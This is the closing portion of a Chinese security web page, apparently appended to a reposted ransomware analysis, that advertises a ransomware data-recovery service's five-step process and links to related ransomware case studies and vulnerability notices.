多年的数据恢复处理经验，在不断对客户服务优化的过程中搭建了”免费售前+安心保障+专业恢复+安全防御”一体化的专业服务流程。

① 免费咨询/数据诊断分析

专业的售前技术顾问服务，免费在线咨询，可第一时间获取数据中毒后的正确处理措施，防范勒索病毒在内网进一步扩散或二次执行，避免错误操作导致数据无法恢复。

售前技术顾问沟通了解客户的机器中毒相关信息，结合团队数据恢复案例库的相同案例进行分析评估，初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

您获取售前顾问的初步诊断评估信息后，若同意进行进一步深入的数据恢复诊断，我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

专业数据恢复工程师根据数据检测分析结果，定制数据恢复方案（恢复价格/恢复率/恢复工期），并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

您清楚了解数据恢复方案后，您可自主选择以下下单方式：

双方签署对公合同：根据中毒数据分析情况，量身定制输出数据恢复合同，合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款，双方合同签订，正式进入数据恢复专业施工阶段，数据恢复后进行验证确认，数据验证无误，交易完成。

④ 开始数据恢复专业施工

安排专业数据恢复工程师团队全程服务，告知客户数据恢复过程注意事项及相关方案措施，并可根据客户需求及数据情况，可选择上门恢复/远程恢复。

数据恢复过程中，团队随时向您报告数据恢复每一个节点工作进展（数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认）。

⑤ 数据验收/安全防御方案

完成数据恢复后，我司将安排数据分析工程师进行二次检查确认数据恢复完整性，充分保障客户的数据恢复权益，二次检测确认后，通知客户进行数据验证。

客户对数据进行数据验证完成后，我司将指导后续相关注意事项及安全防范措施，并可提供专业的企业安全防范建设方案及安全顾问服务，抵御勒索病毒再次入侵。

点击关注下方名片进入公众号了解更多

喜欢此内容的人还喜欢

【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目

索勒安全团队

【病毒分析】独家揭秘LIVE勒索病毒家族之1.0（全版本可解密）

索勒安全团队

【病毒分析】独家揭秘LIVE勒索病毒家族之1.5(全版本可解密)

索勒安全团队

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：solar应急响应团队索勒安全团队《【病毒分析】mallox家族rmallox变种加密器分析报告》

Tags: 威胁情报应急响应恶意软件漏洞分析逆向分析

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)